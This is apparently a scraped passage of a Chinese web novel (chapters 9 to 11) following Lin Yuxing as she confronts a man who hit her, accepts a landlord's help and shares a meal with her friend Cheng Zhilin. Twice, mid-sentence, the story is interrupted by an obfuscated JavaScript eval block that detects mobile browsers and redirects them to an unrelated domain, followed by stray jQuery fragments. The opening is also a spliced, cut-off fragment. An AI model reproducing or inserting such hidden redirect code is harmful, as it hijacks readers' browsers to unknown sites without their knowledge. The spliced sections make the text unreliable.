"养它有什么用!就是个畜生,每个月还要多支出五十多块钱给它买东西,我天天在外面上班,一天才一百五十块,大部分都给你用完了!死败家!新款珠宝设计]
[最新款设计元素]
[定制类珠宝]
……
昏暗安静的单间出租屋,唯有一团四四方方发散的光亮着,照亮疲惫苍白的脸。手机屏幕发出的光映在眼底,像两块色彩斑斓的冰块沉在鸡尾酒杯内,晃晃悠悠,茫然而迷醉。
林予星看着看着,不知不觉在单人小沙发上睡着。
手机上宝格丽珠宝手稿图片慢慢黯淡,最后"哒"的一声细响,锁屏了。
屋子外下起小雨,细密雨点打在铝合金雨棚上,呲呲啦啦像小火慢煎的动静。
楼下放学下班的人群发出仓惶避雨的声音似被雨水淹没,渐渐只剩下雨声。
时间一点一滴过去,饭点过去后厨房灯光陆续暗下,似在宣告一天的结束。
半梦半醒间,依稀闻到隔壁飘来的泡面味道。
林予星没有吃晚饭,醒了一瞬依旧是困得不行,觉着有些冷,翻了个身,把冷的那面身体塞入熨暖的沙发皮中,闭眼继续睡。
手机震动,跳出信息。
[JN:你在加班吗?]
刚暗下,第二条信息接踵而至,却是换了个人。
[李芷琳:予星,周末要来吃个饭吗?我听说你到广城了,我在佛城这边,你现在住在哪呀?]
接二连三的消息震得沙发微微抖动,蜷缩在沙发上的人还在熟睡。
直至整栋楼仅剩三分之一的灯光亮着,断断续续又灭了好几团亮色。
雨后冷风吹入,将缭绕困意吹散了些。
林予星迷迷糊糊睁开眼,听到靠窗口的位置上方传来争吵声,从入门开始越来越响。
突然,"砰当"巨响。
她吓得转头去看,只见有个白乎乎的东西砸在窗边,直直往下掉。
林予星立刻清醒了,稍稍探头出去看,她近视看不大清,又折返回去拿眼镜。
底下水泥路被雨淋得发黑,有只成年人巴掌大的嫩黄活物像块胶带般沾在地上,不断有暗红晕出,在深夜中开出一
9.胡萝卜玉米排骨汤
“你怎么样?”
“没事。”
看脸色根本不像没事。
更像是要去找人算账。
林予星揉了揉被撞疼的手肘,扫视后方,见到有监控,二话不说往小区方向赶。她冷着脸,本是挂在肩膀上的帆布包提在手里,像在提着一把锤子。
“等等,你别冲动,我带你过去和他好好说。”黎嘉年开着电动车追上,拉住她手里的帆布包,“冷静些,我让他跟你道歉。”
“你别掺和进来,我自己会处理。”她拒绝他的劝说,疾步走向小区。
“你想去做什么?”
林予星不说话,她走得很快,及腰长发发丝迎风飘动,眉眼俱冷。
一如从前。
她其实……从没变过……
人人都以为她是漂亮小白花,他初见她时也是这么认为。
这个地方的女孩子鲜少有脾气暴躁的,或是因为湿气过重导致没精力,或是因为从小被教导要有个“女孩子样”。
刻板印象中这个地区她们最多的标签就是贤惠、温柔、能忍、吃苦耐劳等等利他词汇。
然而上一辈如此,下一辈的她们明显性格尖锐许多。
林予星在当中格外突出,如果不是在高中时曾亲眼见过她干过的事,任黎嘉年怎么样也想不到她如此大胆。
两人匆匆行过这段路,甚至不经意间踩碎两三只非洲蜗牛。
破裂的棕褐色花壳压裂,原本是保护它们柔软身躯的屋子,如今成了插入身体里的尖刀。肉壳混杂成令人恶心的色调,似有谁在路边吐了一口。
电动车车轮跟随她的脚步碾过路灯,伴随劝说声,仿佛回到过去。
那个上下学都还需要自行车的年代,道道车辙印印着水痕,犹如晕开的老式电影胶片。
六年前,也是夏季。
巴掌大的蜗牛到处乱爬。
黎嘉年初次见到她的那天。
刚落完雨的学校,下课铃打响不久,她出现在教室门口。
及腰长发被一根炭笔簪起,随意而凌乱。她没有留厚重刘海,两边头发自然而然落下,露出白皙清丽的脸。
脏兮兮的蓝白校服,衣摆处黑白灰占了大半,还有点点片片凝结的斑斓颜料,像株泼洒了颜料的洋桔梗。艺术气质浓厚,以至于班上所有人在看到她的那刻都知道,她是美术班的。
"你好,请问温辰在吗?"她随意抓了个人问。
不带口音,很标准的普通话,甚至有些冷淡。
被她抓到的男孩子微微红了脸,有些羞涩道:"他、他去上厕所了。"
"好的,谢谢。"说完,她提着沾满颜料的水桶离开。
黎嘉年恰好要去外面,和同学说了声,起身走出教室。
他没有听到二人对话,只是多看了她清瘦的背影两眼便匆匆行过,走去一楼角落的卫生间。
走到门口,身后响起洗笔的动静。
周围过于嘈杂,无数学生趁着下课玩闹。
他走进昏暗卫生间不久,忽而听到旁边响起几声尖叫。
"啊!同学!这里是男厕。"
"女厕在那边!"
在这场慌乱中,只听到她的声音响起:"温辰。"
最后一间厕所门恰好打开,晒得发黑的男生伴随冲厕所的水声走出。
空气中浮动着一丝掺着香菇的臭味。
"怎么了?等等,你是……"
话音刚落,那桶灌满颜料的洗笔水桶灌篮般按在温辰头上。
"哗啦啦——"
"啊啊啊啊!"
惨叫、惊慌、混乱不堪。
各种声音交织在一起,响彻昏暗男厕。
黎嘉年被她这么果断干脆的做法惊得接连后退,直至背后撞上不锈钢门框。帆布鞋被溅上污水,蜿蜒流到门外。
窗户外稀薄天光透入,将她的背影轮廓照得发亮。
耳边垂落的发丝某一瞬间成了蛛网般的透明,飞舞在半空。
她举起的手发白发亮,像柄发亮的利刃。
从前是,"我他X让你几把造黄谣!"
现在是,"癞·□□骑车不看路!怎么不早点被货车碾死!"
同样的人,同样在骂脏话。
准确无误盖在脸皮上。
在小区门口无数人能看到的地方,清脆的耳光声,配合骂声,让路人纷纷驻足望来。
刘杰正沉浸在报复回去的快乐中,转头就被打了耳光。
他被打懵了,捂着脸瞪圆眼,眼里流露出茫然,凸嘴张了张,愣是说不出一个字,像被突然抽去脑干,一动不动。
不远处,他的妻子正从紫荆树下散步,看到这一幕,急匆匆上前。
林予星眼角余光看到,直接大声道:“撞了我你还跑?!那么宽的路你别跟我说你不是故意,你要敢说你不是有意的,我立刻报警,监控调出来,看看你究竟是不是有意!”
她直接把前因后果交代清楚。
周围好奇的目光顿时变成谴责。
有老人家已经在用粤语替林予星说话,让刘杰跟她道歉。
刘杰哪经历过这场面。
他没破产前处在上位,手底下数十名员工,父母顺着自己,妻子也温柔体贴,三十多年来,第一次被人扇巴掌。
他脸色以肉眼可见的速度迅速涨红,捂着被她扇疼的地方退后半步,像个肥胖婴孩被他妻子托住后背,这才找到神智那般,色厉内荏。
“有病啊雷,谁撞你了!上来就打人你有没有个女孩子样!泼妇!痴线!”
还没等他骂出更难听的,林予星直接当着他的面按下110。
黎嘉年拉着狗走到林予星身后,提高嗓音:“我看到你撞她了,你要是不想事情闹大,跟她道歉,赔偿误工费和医药费。”
有了他作证,周围越聚越多人。
手机传出女音:“你好,请问……”
还没说完,刘杰粗短手指猛地按上林予星手中的红色挂断键。
碍于黎嘉年和其他人在场,他憋了半天,在妻子不断催促下微微低下了头。
“对唔住。”
很轻很缓。
细若蚊吟。
刘杰妻子不顾自己月份已大,走到林予星身边,小声哀求:“对不起啊,我老公不是有意的,你要多少钱,我赔给你?”
可林予星却不急着要钱,反问她:“你怎么会选这样的人?”
她怔愣半晌,望着林予星的脸说不出半句话。
最后,在黎嘉年的调解下,刘杰那方赔了三百块。
微信收款码暗淡那一瞬,林予星看到刘杰妻子的头像。
是她年轻时候的模样,骨体瘦削,蓝色裙子沉静温婉,站在阳光下笑得明媚。
放下手机再看她时,形容憔悴,因着生活困顿,身上衣服破了几个不明显的小洞,袖子线头脱落开缝。
林予星想说些什么,却发现自己什么都说不出,沉默着看二人走远。
刘杰走在前面,走得极快。
他那已经快到生产日期的妻子在后面蹒跚跟着,手里提着东西紧随其后。
大妈大爷看着刘杰走远,这才七嘴八舌劝说林予星。
“下次遇到这种事别这么冲动,小女孩家家保护好自己。”
“小心点喔,那个人小心眼,你一个女孩子得罪了他,可能被报复。”
“劝你换个离他远的地方住,你是不是住304,我看他几天前在你那层楼晃。”
……
在一干嘈杂中,黎嘉年捕捉到重点。
他皱皱眉,盯着阿姨问:“他在哪晃?”
林予星听力敏锐,疑惑:“在我那晃?”
“系啊,我们老年人觉少。晚上睡不着就在楼下散步,看到他在这靓女门前贼仔一样,看到我上楼才回去。”
阿姨就住在林予星对面那栋楼,每天都有机会面对面。
林予星近视,看不清人,可别人看得见,如果留心,甚至能知道她每天上下班的时间。
她不常出门,很容易摸清行踪。
这不是好兆头。
黎嘉年回头看看她,轻声说:“去我那用碘酒擦一下。”
林予星这才觉出手肘处有点疼。
低头拧过胳膊看了看,才知道自己擦破皮。
人群渐散,闹声渐止。
今夜空气潮湿,隐隐有下雨的迹象。
墙上开关按下的瞬间,头顶灯条与射灯齐开,无主灯设计的屋子宽敞明亮,胡桃木家具配合新中式软装,简洁典雅。
空气中浮动着一丝好闻的木质香气,很淡很淡,淡到像一滴墨滴入水杯中,几乎觉察不出。
在下沉式玄关脱鞋踩上木纹瓷砖那刻,温润沁凉感透入纯棉白袜。
黎嘉年给她拿了双家居鞋,让她先进里面坐,他则是坐在玄关矮长椅上用湿纸巾替别西卜擦干净脚,顺带松开背心链。
暖调灯光下,林予星不自觉放轻脚步,环顾四周后在米白沙发上坐下。
这间屋子目测约有两百来平,坐北朝南。
厨房与客厅分开,通往卧室的长廊前挂着薄纱竹帘,看起来很雅致,阻断了客厅试图往里窥视的目光。
绿植分别分布在电视机侧边和阳台,是常见的龟背竹和大叶伞,颜色藏绿,连同花盆都别有设计感。
林予星看到地毯上散落着别西卜的玩具,是个蓝色的球球。
脚后跟不小心踢到沙发底下,发出清脆铃响。
“叮叮”两声,别西卜汪汪叫了声,摇着尾巴走过来。
“要喝点什么吗?”黎嘉年走进厨房,洗干净手打开冰箱,“橙汁、椰子汁、西梅汁、普洱茶,你能喝冰的吗?”
林予星摸着别西卜脑袋,忙道:“……不用麻烦了,白开水就好。”
他动作顿了顿,关上冰箱。
澄澈温水倒进透亮玻璃杯,倒至七分满,递到面前。
她却没有接过,抱着别西卜一顿狂撸,从它耳朵摸到下巴,把狗摸得翻肚皮这才笑着看向他。
黎嘉年已经从茶几下拿出医疗箱,从里拿出碘伏棉签。
“这么专业?”林予星微微歪头去看药箱上的字。
是附近一家医院的名字。
黎嘉年无语看她:“你不会以为我就等着到点收租吧?”
“难道不是?”林予星愈发困惑,看看药箱,再看看他,又问,“呃,你本职工作不会是医生吧?”
黎嘉年随意道:“是啊,别摸它了,过来消个毒。”
一时间分不清他是不是在开玩笑,还是认真的,林予星不太喜欢挖人隐私,于是就此打住,往前坐了坐,将手肘递给他。
当碘伏涂抹伤口上,她没什么反应,倒让夹着棉团的黎嘉年抬眼看了看,故意按重了些。
这下她总算微微张嘴发出“嘶——”的吸气声。
“我还以为你不疼呢。”黎嘉年又是气又是好笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645028|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“我让我楼上尽快搬走,你到时候搬过来,底下有门禁,比你搬去其他地方要好。这几天你考不考虑来我这住?”
他说着,将那团深棕色棉团丢进垃圾桶,指了指被竹帘挡住视线的长廊,边把碘伏拧上盖边说:“我对面有房间,平时拿来当书房。你住那已经不安全了,刘杰爱面子,你大庭广众下惹了他,估计会变本加厉。”
“我考虑下。”林予星犹豫再三,又问,“这时候退租……算一个月房租吗?”
黎嘉年认真看了看她,叹气道:“我就知道你会这么想,你现在是不是在西关附近上班?是的话,我建议你继续住在这。刘杰现在帮人运输粮油蔬果,迟早有一天你会被他发现。其他地方租房条件你也知道,不如在这,上下左右我都有熟人,你可以安心些。”
他还有些话没有说透,但以林予星的性格必然会知道。
她怎么会不知道,于是她沉默,在思考要不要答应黎嘉年的提议。
初中时她就几次三番遇到类似情形,不然不会养成现在一点就炸的性格。
山城恋.童癖多,初中开始稍微长得好看些的女孩九成会受到侵扰。
常年压抑的性.欲会让那些老淫棍或是隐晦或是诱哄朝身边人下手。
有的就会像刘杰这样,大半夜不睡去偷窥独居女性。
她曾不止一次被跟踪,对这样的男人久而久之从畏惧变成愤怒。
说害怕不算太害怕,但人在极度恐惧下会分化出两面,偏激的她也担心会不会打起来,一个失手把刘杰弄死,进而锒铛入狱。
加上她的行踪太好摸清,两点一线,朝十晚七。或许以后会加班,可对于有心人来说,越夜越好下手。
再说搬去其他地方……
其他地方,也就是城中村。
门禁形同虚设,总有人因为开电动车将大门用砖石抵住打开。
走廊上不知有没有运作的摄像头,长而深的道,铁灰色不锈钢门如同墓碑矗立在墙上,远远不如这安全。
“那麻烦你一段时间了……”林予星不大好意思,“我帮你遛狗,顺带打扫卫生。”
“不用,我这卫生有阿姨打扫。”黎嘉年见她欲言又止,又加了句,“做饭也不用,偶尔遛狗就行。”
林予星:“……”
他是不是在黎欣那听说了她不会做饭?所以特意加上这句?
“谢谢。”她真心实意道。
“嗯,谢我就行,不用想着黎欣,你的事我没怎么和她说。”黎嘉年说完,将无菌敷贴撕开,盖在她伤口上。
疼痛袭来的那瞬间,林予星觉察到不对的地方尽数被遮盖,就像那道血淋淋的伤口,混合着黄色碘伏隐于暗处。
行李折叠收拾好塞入行李箱。
择好的菜叶也尽数扔进菜篮。
擦干洗净残留的灰尘,将家具摆放复原。
根系留下的泥土分解,澄澈的水渐污浊。
铺好床单被子,不适应地躺在床上睁眼到天明。
良心不安下,七点就起床替人遛狗,再回来时黎嘉年还没醒,她就悄然离开。
从大平层到小小的出租屋,一个早上在替程芷琳打下手。
最后处理好玉米胡萝卜,洗干净排骨丢入电泥煲,拧动按钮等煲熟。
两人聊着最近各自情况,坐到塑料小凳子上开始分吃一份肠粉。
一年多没见,两人也没有生疏感。
平静又熟稔的重逢,互相喊了对方名字后就是一句。
“你怎么又瘦了?”
再然后就是到了佛城城中村的出租屋,准备午餐。
程芷琳想了想,问她:“黎欣不会还喜欢你吧?这么托她弟弟照顾你?”
“怎么可能,她都结婚了,来,给你看看我前女友的婚纱照。”
林予星说着,把手机递到程芷琳面前。
小小的手机屏幕上,亮起九宫格。
是在国外的背景,穿着白色婚纱的二人笑着面对镜头。
黎欣的面容比几年前见到时更加成熟,在她旁边的女孩是个混血面容,笑起来嘴角两侧有小小的梨涡,格外甜美。
一张又一张。
捧花、戒指、草地婚礼,隔着屏幕似乎都能闻到那股夏日灿烂的青草味。
程芷琳只扫了几眼就去偷摸看林予星脸色,她很平静地翻阅着,眼里带笑,没有出现过多其他神色,像是真的将这件事放下了。
这么多年了,也是该淡了,何况两人那时和平分手,还能指望掀起什么波澜?
程芷琳松口气,却被照片中另一道身影吸引,以至于让她一眼就认出:“这是不是黎欣弟弟?”
她长年累月劳作的手指点在屏幕上,正正好好是黎嘉年的位置。
“是啊,怎么,看到帅哥动心了?”林予星开着玩笑问,“给你介绍下?”
“不要,哈哈。我和江源谈的好好的,这个还是留给你吧。”程芷琳想起什么,拿起自己手机,“对了,还没跟你说,罗森把你俩的事发朋友圈了,我截了图,你要看看吗?”
她担心林予星反感,一直没发,现在二人见面程芷琳才问出这句。
互联网比她们小时候发达许多,无形中也阻断了面对面交流的机会。
程芷琳还是喜欢面对面说话,更能看清楚对方真正的想法。
林予星想了想,点头。
带着隐秘的八卦心理,她想看看罗森究竟是怎么骂她的,他人又是如何评价。
10.酿苦瓜
[骗我的感情,又骗我的钱,人财两空,可我还是想你。]
附图:牵手照片、朦胧侧影、求婚现场。
都是有关林予星的三张,故事感拉满不说,给人留下浮想联翩的空间。
底下满满几行都是在问他怎么回事,可罗森故意不说,装着轻松淡然一条条回复过去,话里话外都在透露着令人不适的阴阳怪气,引着人往不好的地方去想。
于是再往底下刷,果然看到几条安慰言论,有男有女,都在同情他的不易。
程芷琳看到林予星翻了个大白眼,忙问:“你们两个到底怎么回事?我是不信你是这样的人。”
从小学到现在,她们认识十几年,林予星什么性格她再清楚不过。
初中虽是大手大脚些,但也只是长身体买吃的居多。后来家里出事,花钱越来越克制,到现在自己一个人出门谋生,物欲在极度压抑下越来越低,现在成了只求温饱。
林予星有生存危机意识,每个月两千块的文员工资都能用半年给自己攒出五千跑到广城,任罗森怎么故意抹黑,熟悉林予星的人也绝不会相信。
看完截图,林予星问了句:“你还留着他朋友圈吗?”
“留着啊,不过他设置了三天可见。”程芷琳边说边调出微信让她看。
果然,点出罗森朋友圈只看到一行灰色小字。
背景图故意留着林予星背影照片,昭显自己的受害者身份。
既然已经到这份上,林予星也没必要给他体面,干脆把去罗森家发生的事说给程芷琳听。
那些只有她们才能觉察到的不适,毫无障碍传达到对方那。
说来说去,也不过是两个字:算计。
见微知著,如果不及时止损,非要等到以后吃苦才清醒,那也太不幸了。
程芷琳没想到罗森是这种人,气愤道:“幸好你跟他分了,表面一套背后一套。他爸妈都是做老师的,控制欲强,才商量婚事就这样,你真要昏头嫁进他们家,婚后绝对受欺负。你妈妈也是,打电话告诉我们让我劝劝你,这种家庭能嫁吗?你没跟你妈妈说?”
“不想跟她说话,说不听就算了,她现在肚子里还有一个,我可不想闲着没事给自己招惹上麻烦,好不容易才跑出来。”
林予星说话间,已经切换大号,将刚刚从相册回收站恢复回来的照片放到程芷琳面前。
文案是现编的:[经济下行,捞女捞的原来是五块二红包,三十九块毛九块钱包邮的小熊礼盒糖果,假香奶奶口红。噢,对了,还有前女友的婚戒,分手后的清单(可爱.jpg)~]
配图是和罗森的打码聊天截图,以及他曾送的礼物。。
“怎么样,能不能气死他?”林予星笑着问程芷琳。
“……不仅能,还能身败名裂。”
山城小镇就这么点大,罗森或许是见惯林予星凡事不争的样子,料定她做不出不体面的事。
可平日里不争,不代表林予星没脾气,相反,她脾气躁得很。
林予星微微皱眉:“身败名裂啊……”
望见林予星沉思的模样,程芷琳以为她会放弃,或是温和点。
结果,林予星只是把马赛克糊得更厚了些,点下发送。
她再切小号时,手机震动。
睡到十点多的黎嘉年发来信息。
[JN:转账:200]
[留言:谢谢,养它以来头一回睡个好觉。]
程芷琳探头看去,笑着问:“这该不会就是你租房的房东,黎欣弟弟,黎嘉年?”
“是啊,这钱我收不收?”林予星纠结。
比她懂人情世故的程芷琳结合刚刚二人聊天内容思考了下:“不收,你回复委婉点,就说麻烦他那么多,这次算和狗狗磨合。晚上再买点水果,谢谢他这两天帮你。遛个三次以上再看情况收不收。”
林予星点头,听话地去回复黎嘉年。
[不用啦~还没谢谢你帮我这么多。趁着周日,我和它磨合下,发现它还挺乖。]
对面秒回:[它给你封口费了?]
然后迅速撤回。
微信顶栏[对方输入中…]显示好几次,最终弹出一句:[好的,晚上有空的话请你吃饭。]
林予星笑着回道:[我看到你撤回的内容了。]
[JN:……]
[JN:(狗狗祟祟.jpg)]
对话就此结束,林予星收起手机,和程芷琳聊起初中同学的八卦。
一晃而过已是七年过去,二十出头的年纪。
她们还在外打工赚钱,家里那些男同学已经有些在父母帮助下结婚生子,甚至已经备孕二胎。
林予星无法想象自己继续在山城呆下去会不会变成那样。
抛去未来诸多可能,随意嫁人,只为脱离原先的家,去到另一个家。
而不论如何变化,总归是场利益交换。
在家时,靠着听话懂事,家务活全包换取家长对待宠物般的疼爱。
在外时,靠着贤良淑德,换取堪堪能遮挡雨丝的瓦片,寄希望于别人。
可生活数十年的家人都无法满足的事,别人又怎么满足?
无异于一场豪赌。
赌注就是自己。
她缓缓抬头,看到模模糊糊的屋顶,似是能随时掉下一块墙皮。
屋内电泥煲在咕噜噜冒泡,袅袅白烟冒出,在上空积蓄出云雾。
等到"叮"一声响时,话题也已经从八卦转到程芷琳如今生活。
她现在在三大电信运营商中的蜂窝里工作,因为是外包,扣完五险一金到手两千五。
"可比我好多了,我现在才一千块。"林予星吐槽,"我听带我的那个人的意思,他们还有可能招到过免费的实习生,她还叮嘱我如果那家总监要带饭,记得跟他要钱,估计她曾经被拖着不给过。"
"我去。"程芷琳惊讶,"开珠宝工作室的不至于这么缺钱吧?你有没有问什么时候发工资?"
"有啊,月底。但有点玄,不知道他们会不会拖工资。"
二人说话间,程芷琳揭开汤锅盖往里边撒盐,她边说话边拿碗盛汤。
林予星起身过去接过,将两碗玉米胡萝卜排骨汤小心翼翼放在桌上。
只是平常的小矮桌,被程芷琳细心铺了层碎花布,桌上茶杯铁勺摆放得整整齐齐,喝完酸奶后的玻璃瓶被撕去标签,缠绕一圈细麻绳后在里边放了一束小□□,点缀几朵指甲盖大小的白色花朵。
林予星多问了句:“这花你哪买的?”
“你来的时候没发现吗?”程芷琳憋着笑,“附近那片荒地上摘的。”
“……”
好穷啊。
两个人都好穷。
“你要是实在没钱就来我这住,一个月一千块很难。我每个月给完我妹生活费就剩一千多,虽然少,但这边生活成本低,我俩还能抱团过一段时间。你先吃,我炒个菜。”
程芷琳说完,起身走到电炒锅前开始做蚝油生菜。
单间没有油烟机,大团热气只能靠开窗散出去。
蒜末丢进油锅的一瞬,香气四溢,淋入蚝油那刻更是增添鲜甜香。
林予星起身去电饭锅前盛饭,打开盖子,发现里面还蒸着酿苦瓜。
那是她们从小到大常吃的客家菜。苦瓜切成小节,加了香菇的肉末塞入掏空的苦瓜圈中,适合夏日清热消暑。
她忍着烫想把它拿出,却被程芷琳制止:"我来,你去坐着就好了。"
林予星还想尝试下,愣是被程芷琳挤开,用湿帕子轻松把酿苦瓜拿出。
因着家里有弟弟妹妹,程芷琳习惯照顾人,包括年纪比她小半年的林予星。利落盛出锅里的蚝油青菜,把锅顺手洗了,擦干净灶台,她这才走过来坐下。
林予星已经布好碗筷,在等着她过来吃饭期间顺带拍张照。
"吃呀,尝尝味道怎么样。"程芷琳边说边拿起筷子夹菜放进她碗里。
“等你呢,这就吃。”
程芷琳无奈笑笑,拿出手机挑选电视剧:“来我这就别这么客气了,都认识多久了,要是夫妻都够离两轮。对了,要看什么?《星你》还是《陆贞传》?”
"只要不是《星你》其他都可以。"
"为什么?"
林予星吐槽:"男主长得跟蟹味菇一样,看不下去。"
程芷琳笑得不行。
随意点开一集,二人配着电子榨菜,边聊家常边吃饭。
炖到软烂的苦瓜圈夹入碗中,用筷子分成好几块,焯过水后它并不如何苦,独属瓜果的清香渗入肉里,余下的微苦又恰好中和肉末自带的腻味,有种特别的清爽。
已经许久不曾吃过酿苦瓜的林予星盯着手机屏幕略显恍惚,自从母亲再婚后,她再也没吃过这道客家菜,以至于现在吃上一口就开始怀念起从前。
她们一心多用,到底也没聊起什么波澜壮阔的事件。
穷苦生活仿佛一滩死水,每日就是为生计奔波劳累,唯有身边人的八卦还算是新鲜的小菜。
抽丝剥茧、管中窥豹,从只言片语中拼凑出全貌是她们最爱干的事。
或许会添加些主观臆断,但结果大差不差。
这顿饭吃完,身边人大致信息也摸了个遍。
总结下来,最出人意料的还是林予星。
在山城那种小地方,没有谁敢像她那样大胆,临近结婚快速分手,提起行李箱就跑。
从头开始很难很难,与过去切割更难。
多数人浑浑噩噩随波逐流,少数人清醒而痛苦地活下去。
没有谁优谁劣,只是选择不同,结局走向也将像溪流般变成无数道分岔,流向大海。
望着清澈自来水将她细瘦双手打湿,本就白皙的肤色在吸足水份后越发葱白,指尖甲缝都像植物叶尖,微微透明。
程芷琳收拾完桌子后走到林予星身边,望着她的双手,又低头看了看自己的手,感叹道:“你的手好漂亮,我干得跟柴一样。之前看网上说用盐搓手能变得白嫩,我试了两个星期,一点用都没有,搓久了还疼。”
“……你看的哪个公众号?瞎编。等我发工资了给你买个护手霜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681206|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,多擦擦比用盐管用。”
程芷琳心里有数,自己这双手用护手霜是救不回来的,就是从小干活干多了。从她生下来就不停在帮父母带孩子,做家务。
父亲癌症死后,母亲在外打工,长姐如母,她挑起重担养大弟弟妹妹,没有一天停过。妹妹至少还能帮着自己算账管支出,搭把手帮个忙。
弟弟呢?
年纪越大,越跟姐妹生疏,又懒又馋,学习成绩差。
可纵使万般缺点,母亲向着他,又是父亲留下的唯一男丁,她们又能怎么办?
而林予星,虽说父母再婚,费心手段要男孩,但至少当过十几年政策性独生女,自然会受到家里宠爱。底子打好了,将来也不会差到哪去。
两双手一对比,更能直观感受到生活差距。
手背干枯发黄的皮肉,手心粗粝如砂的掌纹。
卷翘起的倒刺,暗沉发黑的死皮,厚重硬黄的茧。
如同翻阅的书籍,每条被破坏磨平的指纹都在记录程芷琳所经历过的人生。蜗牛背着厚重的壳,爬过这页写满文字的书,留下透明黏液,将上面遗落的苦难晕湿。
“予星,我之前好像从没跟你说过我家里的事。你要听听吗?”
哪怕是最亲密的朋友,分寸感与边界感也需要避开某些时刻。
林予星做的太好,反倒有时显得冷漠。
而程芷琳,恰好需要这层冷漠。
父亲在她七八岁左右去世,或许更早,她不记得了。
因为时间隔得太久远,父亲长什么样别说她这个年长的记不清,年幼的弟弟妹妹更是不知道。
他活成了一个符号,是什么人,什么性情,仅仅依靠母亲只言片语中拼凑。犹如玻璃罐,里面装的是针线、是糖果、还是沙土,全凭母亲喜好。
程芷琳只知道父亲死后,家务活愈发繁重。
母亲消沉一段时间后将她们三姐妹托付给伯伯一家代为照顾,自己去了汕城针织厂打工。
而她的童年就在不断看人脸色,忙忙碌碌中过活。
暑假对于其他孩子来说是快乐的,对程芷琳来说是噩梦。
当水稻田里的水越排越干净,泥地开始干涸,意味着农忙时期将近。
锋利镰刀划下去,一拢粗细适中的水稻倒下,有时没有注意,镰刀在食指留下鲜红口子,创口贴在农村也是难得的,只能去灶台处寻找草木灰止血。
偶尔割稻谷时,会发现在里面的鸟窝,小小的幼鸟睁着惶恐不安的双眼瞪着笠帽遮盖而下的阴影。程芷琳怕它们被附近的小孩玩死,不得不将它们转移至别处,抽空抓些蚯蚓之类的小虫子喂它们。
等到鸟儿离巢飞远,就要马不停蹄耕田插秧,准备下一季播种。
"你见过谷风机吗?要转好久好久,像驴拉磨一样。但这比较轻松的活是我妹我弟在干。然后弄好的谷子又要晒收,时刻都要关注天气。"
除去收稻谷,就是摘花生,不得空闲。
从暑假忙到开学,奖励是没有的。伯伯家有四个孩子,加上她们三姐弟,要一碗水端平的话,五毛钱的冰棍都要买七根。
一个月收入仅两三千的工资,底下还有小孩,几块钱的冰棍钱都是奢侈,于是大人用盐水煮一锅不值钱的花生犒劳。可就算是她们三姐弟干的最多,到她们手里时也只剩双手并上的一小捧。
后来九年义务教育,哪怕学费减免,三姐弟生活费也是一大笔开销,光靠母亲寄来的生活费远远不够。为了补贴生计,程芷琳只好趁放学那段时间去附近河边加入拉砂队。
所谓拉砂,就是在锄头上绑一块磁铁,再放进浅河滩,从头走到尾,把沙地里的黑色砂石吸附上来,装进塑料桶。足足一百斤,换取的价格却不超过十五。
收铁矿砂的老板看她是个小女孩,动过几次歪心思,都被队里其他妇女挡回去。
她们调侃着,娇笑着,用在生活磋磨下,仅剩的、为数不多的善意保护着她。
可当年的程芷琳并不知道,每日就是埋头苦干。
她盯着浑浊河面下的黄褐色的石头,泥沙淤积,垃圾在石缝中被水侵蚀,变得破破烂烂。她被烈日晒得晃神,再睁眼时,那些厨余垃圾已经被林予星从不锈钢过滤网中丢进垃圾桶。
送别林予星后,小小的单间出租屋又只剩她一人。
望着屋内整洁的小桌子,洗得发亮的水槽,程芷琳叹口气。
收拾的那么干净做什么,跟没来过人似的。
拿起手机,正要嘱咐林予星路上小心,刚打开就有源源不断的小红点蹦出。
程芷琳扫过两眼,记起来发生了什么。
目光刚撇到‘罗森’两个字,对方语音电话打过来,隔着屏幕都能感受到急切。
手机不停震动,捏在手里,如同握着某人恼羞成怒的心。
程芷琳没接到,将手机静音,给林予星通风报信。
[罗森急眼了,都打到我这了。]
忽然,她想到林予星跟自己透露的近况,又问了句:
[不是说有个猥琐男夜半偷窥吗?那你现在住哪?]
11.淮山玉竹排骨汤
[……冷空气南下,我省将迎来最后一轮强降温。]
[今夜广城、深城有明显降水过程,伴随7级左右大风、雷电等强对流天气。粤北区将降至18~21℃,请大家出门前及时带好雨具并做好防寒措施。]
随着水果店内老式电视剧播报,身形矮胖的老板接过林予星手里红色塑料袋,钓在杆秤一头,再挂上沉甸甸的秤砣,提杆一看,开始报价。
“两斤半枇杷,14蚊。早荔两斤,17。14加17,三十一算你三十蚊啦。”老板多看了她两眼,问道,“送人还是自己吃?要不要给你拿箱子打包?”
“不用,回去就吃。”林予星拿出钱包,点出三张蓝色现金递给他,目光不由自主放在电视机上。
这家水果店就在小区附近,不论上下班林予星都会经过这。
老板看她眼熟,多提醒了句:“未食五月粽,寒衣唔入栊。妹妹仔,记得着衫,带把遮。"
"好哇,多谢。"林予星转而粤语应下。
水果店老板愣了愣,笑道:"早知你会粤语我就不讲普通话啦,下次来便宜点给你。"
林予星应了声好,提着塑料袋离开。
快抵达小区时,有叫卖声响起。
她抬头望去,看到有个戴浅色防晒帽的阿姨将自行车停在路边,后座保温箱旁,淡蓝色小喇叭不断传出三个字:“益力多——益力多——”
林予星走过去,益力多阿姨顺势打开小箱子,里面还剩五排酸奶,她想了想,便要了两排。
付完现金,手机震动。
程芷琳发来消息,林予星随意扫了眼,一时梗住。
